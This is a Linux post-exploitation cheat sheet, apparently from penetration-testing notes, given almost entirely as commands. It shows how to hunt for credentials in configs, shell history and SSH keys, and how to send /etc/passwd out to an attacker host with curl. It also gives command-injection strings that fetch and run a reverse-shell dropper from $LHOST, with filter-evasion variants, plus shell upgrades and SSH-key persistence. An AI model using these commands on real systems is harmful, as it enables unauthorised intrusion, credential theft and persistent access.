Linux Post Exploitation

Situational Awareness

Get your bearings immediately after landing a shell: know what you’re on, who you are, and what network you can reach before doing anything else.

whoami; id
hostname; uname -a
ip a; ip route
cat /etc/hosts
ps aux
env

Credential Hunting

Config files, shell history, and SSH keys are the highest-yield targets: grep broadly and follow the trail.

find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
cat ~/.bash_history
cat ~/.ssh/id_rsa
find / -name "id_rsa" 2>/dev/null
grep -r "password" /var/www/html/ 2>/dev/null

File Transfer

Stand up a quick HTTP server on the attacker machine and pull files down with wget or curl: works in almost every environment.

# Attacker
python3 -m http.server 8080

# Target
wget http://$LHOST:8080/file
curl http://$LHOST:8080/file -o file

To send files back to the attacker, use uploadserver which adds PUT/POST upload support to the standard Python server.

# Attacker
pip3 install uploadserver
python3 -m uploadserver 8080

# Target: POST a file
curl -F "files=@/etc/passwd" http://$LHOST:8080/upload

# Target: PUT a file
curl -T /etc/passwd http://$LHOST:8080/

Shell Upgrade

Raw netcat shells are fragile: upgrade to a full PTY immediately so you get job control, tab completion, and proper signal handling. Try each method in order until one works. After spawning the PTY, always do the stty dance to pass through control characters.

# Python 3
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Python 2
python -c 'import pty; pty.spawn("/bin/bash")'

# script (nearly always available)
script -qc /bin/bash /dev/null

# socat (best quality TTY, requires socat on target)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane -

# perl
perl -e 'exec "/bin/bash";'

# ruby
ruby -e 'exec "/bin/bash"'

After spawning the PTY:

# CTRL+Z to background the shell, then on attacker:
stty raw -echo; fg

# Back in the shell:
export TERM=xterm
export SHELL=bash
stty rows 50 cols 200    # match your terminal dimensions

Get your local terminal dimensions to set them exactly:

# Run on attacker before stty rows/cols
stty size

Polyshell

polyshell generates a dropper script called rev that tries every available interpreter on the target in sequence (python3 → python2 → bash → perl → php → ruby → socat → nc variants), stopping on the first successful connection. The injected string stays minimal: no spaces, quotes, or redirect operators, so it survives more filter configurations than a raw shell payload. Stand up a listener, generate the dropper and serve it, then inject.

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: generate and serve
python3 revgen.py tun0 4444 --serve
python3 -m http.server 80

Choose an inject pattern based on what the target filters.

# Standard
; $(curl -s http://$LHOST/rev|sh)

# Space filtered
;$(curl$IFS-s$IFS http://$LHOST/rev|sh)

# Dotted IP filtered
; $(curl -s http://$DECIMAL_IP/rev|sh)

# No curl
; $(wget -qO- http://$LHOST/rev|sh)

Convert your IP to its decimal equivalent when dots are filtered.

python3 -c "import struct,socket; print(struct.unpack('!I', socket.inet_aton('$LHOST'))[0])"

SUID Failures in Reverse Shells

Some privesc paths look valid but silently do nothing through a reverse shell. Two mechanisms cause this. No TTY. A reverse shell is a raw I/O tunnel with no TTY device. SUID binaries, sudo, and PAM-based auth require a proper TTY to grant elevated privileges. Without one, they silently drop the privilege with no error. PR_SET_NO_NEW_PRIVS. If your shell was spawned through a web server like Apache, it likely inherited this kernel flag:

apache  (PR_SET_NO_NEW_PRIVS=1)
  └── web shell
        └── reverse shell  (inherits no-new-privs)

It’s a one-way flag: once set, every child process inherits it and it cannot be unset. The kernel ignores setuid bits and blocks any execve-based privilege gain for the entire lineage. PATH hijacks and SUID binaries both fail silently. Fix: inject your public key into the target user’s ~/.ssh/authorized_keys and SSH in. You get a clean TTY with no inherited restrictions, and the same privesc path that failed before will work.

Linux

Windows

Pivoting

Reverse Shells

File Transfers

Linux Post Exploitation

Situational Awareness

Credential Hunting

File Transfer

Shell Upgrade

Polyshell

SUID Failures in Reverse Shells

​Situational Awareness

​Credential Hunting

​File Transfer

​Shell Upgrade

​Polyshell

​SUID Failures in Reverse Shells

Situational Awareness

Credential Hunting

File Transfer

Shell Upgrade

Polyshell

SUID Failures in Reverse Shells